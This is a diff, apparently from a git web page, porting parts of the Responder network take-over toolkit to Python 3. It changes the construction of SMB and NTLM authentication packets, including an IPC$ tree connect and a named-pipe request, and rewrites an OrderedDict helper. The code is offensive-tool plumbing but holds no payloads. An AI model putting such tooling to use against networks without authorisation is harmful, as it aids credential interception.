|
||||
self.fields["andxoffset"] = struct.pack("<i", len(CompletePacketLen)+32)[:2]
|
||||
self.fields["andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacketLen)+32)[:2]
|
||||
##Buff Len
|
||||
self.fields["securitybloblength"] = struct.pack("<i", len(SecurityBlobLen))[:2]
|
||||
self.fields["securitybloblength"] = StructWithLenPython2or3("<i", len(SecurityBlobLen))[:2]
|
||||
##Complete Buff Len
|
||||
self.fields["bcc1"] = struct.pack("<i", len(SecurityBlobBCC))[:2]
|
||||
self.fields["bcc1"] = StructWithLenPython2or3("<i", len(SecurityBlobBCC))[:2]
|
||||
## Guest len check
|
||||
self.fields["ApplicationHeaderLen"] = struct.pack("<i", len(SecurityBlobLen)-2)[:1]
|
||||
self.fields["AsnSecMechLen"] = struct.pack("<i", len(SecurityBlobLen)-4)[:1]
|
||||
self.fields["ChoosedTagLen"] = struct.pack("<i", len(SecurityBlobLen)-6)[:1]
|
||||
self.fields["ChoosedTag1StrLen"] = struct.pack("<i", len(SecurityBlobLen)-8)[:1]
|
||||
self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-2)[:1]
|
||||
self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-4)[:1]
|
||||
self.fields["ChoosedTagLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-6)[:1]
|
||||
self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-8)[:1]
|
||||
|
||||
|
||||
##### Username Offset Calculation..######
|
||||
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = struct.pack("<i", len(CalculateUserOffset))
|
||||
self.fields["NLMPAuthMsgNtUserNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateUserOffset))
|
||||
self.fields["NLMPAuthMsgNtUserNameLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
|
||||
##### Domain Offset Calculation..######
|
||||
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = struct.pack("<i", len(CalculateDomainOffset))
|
||||
self.fields["NLMPAuthMsgNtDomainNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateDomainOffset))
|
||||
self.fields["NLMPAuthMsgNtDomainNameLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
|
||||
##### Workstation Offset Calculation..######
|
||||
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateWorkstationOffset))
|
||||
self.fields["NLMPAuthMsgNtWorkstationLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateWorkstationOffset))
|
||||
self.fields["NLMPAuthMsgNtWorkstationLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
|
||||
|
||||
##### NT Challenge Offset Calculation..######
|
||||
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = struct.pack("<i", len(CalculateNTChallengeOffset))
|
||||
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateNTChallengeOffset))
|
||||
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
|
||||
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
|
||||
##### LM Challenge Offset Calculation..######
|
||||
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = struct.pack("<i", len(CalculateLMChallengeOffset))
|
||||
self.fields["NLMPAuthMsgLMChallengeLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
|
||||
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
|
||||
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateLMChallengeOffset))
|
||||
self.fields["NLMPAuthMsgLMChallengeLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
|
||||
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
|
||||
|
||||
######################################################################################################
|
||||
|
||||
|
@ -331,33 +340,33 @@ class SMBTreeConnectData(Packet):
|
|||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved","\x00" ),
|
||||
("Andxoffset", "\x5a\x00"),
|
||||
("Andxoffset", "\x5a\x00"),
|
||||
("Flags","\x08\x00"),
|
||||
("PasswdLen", "\x01\x00"),
|
||||
("Bcc","\x2f\x00"),
|
||||
("Passwd", "\x00"),
|
||||
("Path",""),
|
||||
("Path","IPC$"),
|
||||
("PathTerminator","\x00\x00"),
|
||||
("Service","?????"),
|
||||
("Terminator", "\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Convert Path to Unicode first before any Len calc.
|
||||
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
|
||||
self.fields["Path"] = self.fields["Path"].encode('utf-16le').decode('latin-1')
|
||||
|
||||
##Passwd Len
|
||||
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
|
||||
self.fields["PasswdLen"] = StructWithLenPython2or3("<i", len(str(self.fields["Passwd"])))[:2]
|
||||
|
||||
##Packet len
|
||||
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||
|
||||
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
|
||||
self.fields["Andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacket)+32)[:2]
|
||||
|
||||
##Bcc Buff Len
|
||||
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
||||
self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
|
||||
|
||||
|
||||
class SMBTransRAPData(Packet):
|
||||
|
@ -390,21 +399,20 @@ class SMBTransRAPData(Packet):
|
|||
def calculate(self):
|
||||
#Padding
|
||||
if len(str(self.fields["Data"]))%2==0:
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
|
||||
else:
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
||||
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
||||
##Convert Path to Unicode first before any Len calc.
|
||||
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
|
||||
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le').decode('latin-1')
|
||||
|
||||
##Data Len
|
||||
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||
self.fields["TotalParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
|
||||
self.fields["ParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
|
||||
|
||||
##Packet len
|
||||
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
||||
|
||||
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
|
||||
self.fields["ParamOffset"] = StructWithLenPython2or3("<i", len(FindRAPOffset)+32)[:2]
|
||||
##Bcc Buff Len
|
||||
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
||||
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
||||
|
||||
self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
|
||||
|
|
|
@ -1,20 +1,9 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from UserDict import DictMixin
|
||||
import sys
|
||||
try:
|
||||
from UserDict import DictMixin
|
||||
except ImportError:
|
||||
from collections import UserDict
|
||||
from collections import MutableMapping as DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
|
@ -64,9 +53,9 @@ class OrderedDict(dict, DictMixin):
|
|||
if not self:
|
||||
raise KeyError('dictionary is empty')
|
||||
if last:
|
||||
key = reversed(self).next()
|
||||
key = next(reversed(self))
|
||||
else:
|
||||
key = iter(self).next()
|
||||
key = next(iter(self))
|
||||
value = self.pop(key)
|
||||
return key, value
|
||||
|
||||
|
@ -77,25 +66,35 @@ class OrderedDict(dict, DictMixin):
|
|||
inst_dict = vars(self).copy()
|
||||
self.__map, self.__end = tmp
|
||||
if inst_dict:
|
||||
return self.__class__, (items,), inst_dict
|
||||
return (self.__class__, (items,), inst_dict)
|
||||
return self.__class__, (items,)
|
||||
|
||||
def keys(self):
|
||||
return list(self)
|
||||
|
||||
setdefault = DictMixin.setdefault
|
||||
update = DictMixin.update
|
||||
pop = DictMixin.pop
|
||||
values = DictMixin.values
|
||||
items = DictMixin.items
|
||||
iterkeys = DictMixin.iterkeys
|
||||
itervalues = DictMixin.itervalues
|
||||
iteritems = DictMixin.iteritems
|
||||
if sys.version_info >= (3, 0):
|
||||
setdefault = DictMixin.setdefault
|
||||
update = DictMixin.update
|
||||
pop = DictMixin.pop
|
||||
values = DictMixin.values
|
||||
items = DictMixin.items
|
||||
iterkeys = DictMixin.keys
|
||||
itervalues = DictMixin.values
|
||||
iteritems = DictMixin.items
|
||||
else:
|
||||
setdefault = DictMixin.setdefault
|
||||
update = DictMixin.update
|
||||
pop = DictMixin.pop
|
||||
values = DictMixin.values
|
||||
items = DictMixin.items
|
||||
iterkeys = DictMixin.iterkeys
|
||||
itervalues = DictMixin.itervalues
|
||||
iteritems = DictMixin.iteritems
|
||||
|
||||
def __repr__(self):
|
||||
if not self:
|
||||
return '%s()' % (self.__class__.__name__,)
|
||||
return '%s(%r)' % (self.__class__.__name__, self.items())
|
||||
return '%s(%r)' % (self.__class__.__name__, list(self.items()))
|
||||
|
||||
def copy(self):
|
||||
return self.__class__(self)
|
||||
|
@ -110,8 +109,13 @@ class OrderedDict(dict, DictMixin):
|
|||
def __eq__(self, other):
|
||||
if isinstance(other, OrderedDict):
|
||||
return len(self)==len(other) and \
|
||||
min(p==q for p, q in zip(self.items(), other.items()))
|
||||
min(p==q for p, q in zip(list(self.items()), list(other.items())))
|
||||
return dict.__eq__(self, other)
|
||||
|
||||
def __ne__(self, other):
|
||||
return not self == other
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
|
||||
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue